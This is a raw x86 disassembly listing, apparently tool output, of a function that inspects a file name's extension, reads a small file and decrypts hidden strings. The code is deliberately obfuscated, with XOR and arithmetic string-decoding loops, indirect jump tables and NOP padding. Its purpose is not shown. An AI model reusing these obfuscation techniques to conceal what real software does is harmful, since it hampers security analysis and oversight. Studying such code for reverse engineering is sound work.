cmp byte [esi - 2], 0x78
setne al
jmp dword [eax*4 + 0x44dca8]
movzx eax, byte [esi - 3]
mov ecx, dword [case.0x42dc5d.16]
jmp ecx
xor ecx, ecx
cmp al, 0x74
setne cl
jmp dword [ecx*4 + 0x44dcc0]
jmp dword [0x44dcd4]
xor eax, eax
cmp byte [esi - 4], 0x2e
setne al
jmp dword [eax*4 + 0x44dcd8]
mov eax, ebp
inc eax
mov dword [esp], eax
jns 0x42dce9
mov dword [esp + 4], ebx
mov eax, 0xffffffff
jmp 0x42dcf4
mov dword [esp + 4], ebx
lea eax, [ebp*2 + 2]
push eax
call fcn.0040cc60
add esp, 4
mov ebx, eax
push esi
push edi
push dword [esp + 8]
push eax
call fcn.0040eb60
add esp, 0x10
lea eax, [esp + 0x10]
push 0x60
push 3
push 0x120089
push eax
mov dword [esp + 0x10], ebx
push ebx
call fcn.00445110
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44dce0]
mov edi, esi
mov ebx, dword [esp + 4]
jmp dword [0x44dd20]
mov dword [esp + 0x70], esi
lea eax, [esp + 0x58]
push 0
push eax
push dword [esp + 0x18]
call fcn.00445460
add esp, 0xc
test eax, eax
setns al
mov esi, dword [esp + 0x58]
cmp esi, 0x100000
setb cl
and cl, al
movzx eax, cl
mov ebx, dword [esp + 4]
jmp dword [eax*4 + 0x44dce8]
push esi
call fcn.0040cc60
add esp, 4
push 0
push esi
mov dword [esp + 0x10], eax
push eax
push dword [esp + 0x1c]
call fcn.00445540
add esp, 0x10
not eax
shr eax, 0x1f
xor edx, edx
mov ecx, dword [esp]
jmp dword [eax*4 + 0x44dcf0]
add ecx, 2
test si, si
je 0x42ddd0
mov eax, edx
movzx esi, word [ecx]
mov edx, ecx
cmp si, 0x5c
je 0x42ddb0
mov edx, eax
jmp 0x42ddb0
mov ecx, dword [esp]
xor edx, edx
jmp dword [0x44dd04]
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x44dd08]
xor esi, esi
xor ecx, ecx
jmp 0x42de07
mov edx, eax
not edx
mov ecx, dword [esp]
and edx, ecx
not ecx
and ecx, eax
sub ecx, edx
sar ecx, 1
lea esi, [ecx + 1]
not ecx
add ecx, ebp
add ecx, 0x1b
push ecx
call fcn.0040cc60
add esp, 4
mov ecx, ebp
not ecx
and ecx, esi
mov dword [esp + 0x60], esi
not esi
and esi, ebp
mov dword [esp + 0x64], esi
mov dword [esp + 0x68], ecx
sub esi, ecx
mov dword [esp + 0x14], 0xb8bab86b
mov dword [esp + 0x18], 0xbf49bbbe
mov dword [esp + 0x1c], 0x3e1873b8
mov dword [esp + 0x20], 0x4c33c3c
mov dword [esp + 0x24], 0x32ceca26
mov dword [esp + 0x28], 0x703a38c8
mov word [esp + 0x2c], 0x1271
mov byte [esp + 0x2e], 0x42
mov dword [esp + 0x2f], 0
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, ecx
add dl, 0x37
xor dl, byte [esp + ecx + 0x14]
add dl, 0xed
mov byte [esp + ecx + 0x14], dl
inc ecx
cmp ecx, 0x1f
jne 0x42de80
movzx ecx, byte [esp + 0x14]
mov edx, eax
test cl, cl
je 0x42debc
lea ebp, [esp + 0x15]
mov edx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edx], cl
inc edx
movzx ecx, byte [ebp]
inc ebp
test cl, cl
jne 0x42deb0
mov byte [edx], 0
test esi, esi
mov dword [esp + 0x6c], eax
je 0x42deec
add edi, dword [esp + 0x60]
mov ebp, esi
and ebp, 3
je 0x42def0
xor ecx, ecx
movzx eax, byte [edi]
cmp al, 1
sbb edi, 0xffffffff
mov byte [edx + ecx], al
inc ecx
cmp ebp, ecx
jne 0x42ded4
add edx, ecx
sub esi, ecx
mov ebp, edx
jmp 0x42def0
mov ebp, edx
jmp 0x42df32
mov eax, dword [esp + 0x68]
sub eax, dword [esp + 0x64]
cmp eax, 0xfffffffc
ja 0x42df32
movzx eax, byte [edi]
cmp al, 1
sbb edi, 0xffffffff
mov byte [edx], al
movzx eax, byte [edi]
cmp al, 1
sbb edi, 0xffffffff
mov byte [edx + 1], al
movzx eax, byte [edi]
cmp al, 1
sbb edi, 0xffffffff
mov byte [edx + 2], al
movzx eax, byte [edi]
cmp al, 1
sbb edi, 0xffffffff
lea ebp, [edx + 4]
mov byte [edx + 3], al
mov edx, ebp
add esi, 0xfffffffc
jne 0x42defd
mov byte [ebp], 0
mov ecx, dword [esp + 0xd0]
push dword [esp + 0x58]
push dword [esp + 0xc]
mov esi, dword [esp + 0x74]
push esi
call fcn.0040d650
and bl, 1
or bl, al
jmp dword [0x44dd10]
push esi
call fcn.0040cc70
add esp, 4
jmp dword [0x44dd18]
jmp dword [0x44dd18]
push dword [esp + 8]
call fcn.0040cc70
add esp, 4
mov dword [esp + 4], ebx
mov eax, dword [esp + 0x10]
mov dword [esp + 8], eax
mov dword [esp + 0x14], 0x101f1e1d
mov word [esp + 0x18], 0
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
movzx edi, byte [esp + ecx + 0x14]
mov edx, ecx
xor edx, 0xcb1c73a
mov ebp, ecx
or ebp, 5
and ebp, edx
mov edx, ecx
and edx, 5
mov esi, ebp
and esi, 2
or ebp, 2
imul ebp, esi
xor esi, 2
imul esi, edx
mov edx, ecx
xor edx, 0xf34e38c5
add edx, ebp
add edx, esi
mov ebp, edx
and ebp, edi
mov esi, ebp
and esi, 2
mov eax, ebp
or eax, 0xfffffffd
inc eax
mov ebx, ebp
and ebx, 0xfffffffd
imul ebx, eax
or ebp, 2
imul ebp, esi
sub ebx, ebp
add edx, edi
add edx, ebx
mov edi, edx
and edi, 0x24
mov eax, edx
and eax, 2
mov esi, eax
xor esi, 2
imul esi, edi
or edi, 2
imul edi, eax
xor edx, 0x26
add edx, esi
add edx, edi
inc dl
mov byte [esp + ecx + 0x14], dl
inc ecx
cmp ecx, 6
jne 0x42dfa0
mov ecx, dword [0x451b44]
test ecx, ecx
mov ebx, dword [esp + 4]
mov esi, dword [esp + 0x70]
je 0x42e069
mov edx, dword [esp + 0x14]
xor edi, edi
mov ebp, dword [0x451b48]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [ebp + edi*8], 0xb62b8d10
je 0x42e061
inc edi
cmp ecx, edi
jne 0x42e050
jmp 0x42e069
mov ecx, dword [ebp + edi*8 + 4]
cmp ecx, edx
jne 0x42e077
mov edi, esi
jmp dword [0x44dd20]
jmp dword [0x44dd28]
push dword [esp + 8]
push 1
push ecx
push dword [0x451b4c]
call fcn.00441940
add esp, 0x10
mov edi, esi
jmp dword [0x44dd20]
mov ebp, edi
jmp dword [0x44dc60]
push dword [esp]
call fcn.0040cc70
add esp, 4
push dword [esp]
call fcn.0040cc70
add esp, 4
mov edi, esi
jmp dword [0x44dd30]
mov dword [esp + 0x14], 0x262e2826
mov dword [esp + 0x18], 0x222b242a
mov word [esp + 0x1c], 0x6b75
mov byte [esp + 0x1e], 0x8a
lea eax, [esp + 0x1f]
mov byte [eax + 4], 0
mov dword [eax], 0
mov ecx, 0xed0638e0
nop
movzx eax, byte [esp + ecx + 0x12f9c734]
xor eax, ecx
mov edx, eax
xor edx, 0x32165206
and eax, 0xcd0028f9
add eax, eax
sub eax, edx
add eax, 0x90f735a5
mov edx, eax
xor edx, 0xf8
and eax, 7
add eax, eax
sub eax, edx
add al, 0xf9
mov byte [esp + ecx + 0x12f9c734], al
inc ecx
cmp ecx, 0xed0638f0
jne 0x42e100
movzx eax, byte [esp + 0x14]
mov edi, ebp
test al, al
je 0x42e190
lea ecx, [esp + 0x14]
mov edx, ebp
mov edi, ebp
jmp 0x42e167
movzx eax, byte [ecx]
test al, al
je 0x42e190
mov ah, byte [edx]
test ah, ah
je 0x42dc10
inc edx
inc ecx
lea esi, [edi + 1]
cmp ah, al
je 0x42e17e
mov edi, esi
mov edx, esi
je 0x42e160
lea ecx, [esp + 0x14]
jmp 0x42e160
jmp dword [0x44dc68]
mov dword [esp + 0x14], 0x262e2826
mov dword [esp + 0x18], 0x222b242a
mov word [esp + 0x1c], 0x6b75
mov byte [esp + 0x1e], 0x8a
lea eax, [esp + 0x1f]
mov byte [eax + 4], 0
mov dword [eax], 0
mov ecx, 0xed0638e0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx eax, byte [esp + ecx + 0x12f9c734]
xor eax, ecx
mov edx, eax
xor edx, 0x32165206
and eax, 0xcd0028f9
add eax, eax
sub eax, edx
add eax, 0x90f735a5
mov edx, eax
xor edx, 0xf8
and eax, 7
add eax, eax
sub eax, edx
add al, 0xf9
mov byte [esp + ecx + 0x12f9c734], al
inc ecx
cmp ecx, 0xed0638f0
jne 0x42e1d0
jmp case.0x42cbe4.83
mov eax, ebx
add esp, 0xbc
pop esi
pop edi
pop ebx
pop ebp
ret
push esi
call fcn.0040cc70
add esp, 4
push esi
call fcn.0040cc70
add esp, 4
jmp dword [0x44dd64]
mov dword [esp + 4], ebx
mov eax, dword [esp + 0xc]
mov dword [esp], eax
mov dword [esp + 0x14], 0x101f1e1d
mov word [esp + 0x18], 0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + esi + 0x14]
mov ecx, esi
xor ecx, 0xcb1c73a
mov eax, esi
mov edi, esi
or edi, 5
and edi, ecx
mov ecx, esi
and ecx, 5
mov esi, edi
and esi, 2
or edi, 2
imul edi, esi
xor esi, 2
imul esi, ecx
mov ecx, eax
xor ecx, 0xf34e38c5
add ecx, edi
add ecx, esi
mov edi, ecx
and edi, edx
mov esi, edi
and esi, 2
mov ebx, edi
or ebx, 0xfffffffd
inc ebx
mov ebp, edi
and ebp, 0xfffffffd
imul ebp, ebx
or edi, 2
imul edi, esi
sub ebp, edi
add ecx, edx
add ecx, ebp
mov edx, ecx
and edx, 0x24
mov esi, ecx
and esi, 2
mov edi, esi
xor edi, 2
imul edi, edx
or edx, 2
imul edx, esi
xor ecx, 0x26
add ecx, edi
mov esi, eax
add ecx, edx
inc cl
mov byte [esp + eax + 0x14], cl
inc esi
cmp esi, 6
jne 0x42e260
mov ecx, dword [0x451b44]
test ecx, ecx
mov esi, dword [esp + 0x74]
je 0x42e328
mov edx, dword [esp + 0x14]
xor edi, edi
mov ebx, dword [0x451b48]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [ebx + edi*8], 0xb62b8d10
je 0x42e320
inc edi
cmp ecx, edi
jne 0x42e310
jmp 0x42e328
mov ecx, dword [ebx + edi*8 + 4]
cmp ecx, edx
jne 0x42e33b
mov ebx, dword [esp + 4]
and bl, 1
jmp dword [0x44dd50]
jmp dword [0x44dd5c]
push dword [esp]
push 1
push ecx
push dword [0x451b4c]
call fcn.00441940
add esp, 0x10
mov ebx, dword [esp + 4]
and bl, 1
jmp dword [0x44dd50]
push edi
call fcn.0040cc70
add esp, 4
push edi
call fcn.0040cc70
add esp, 4
jmp dword [0x44dd48]
retf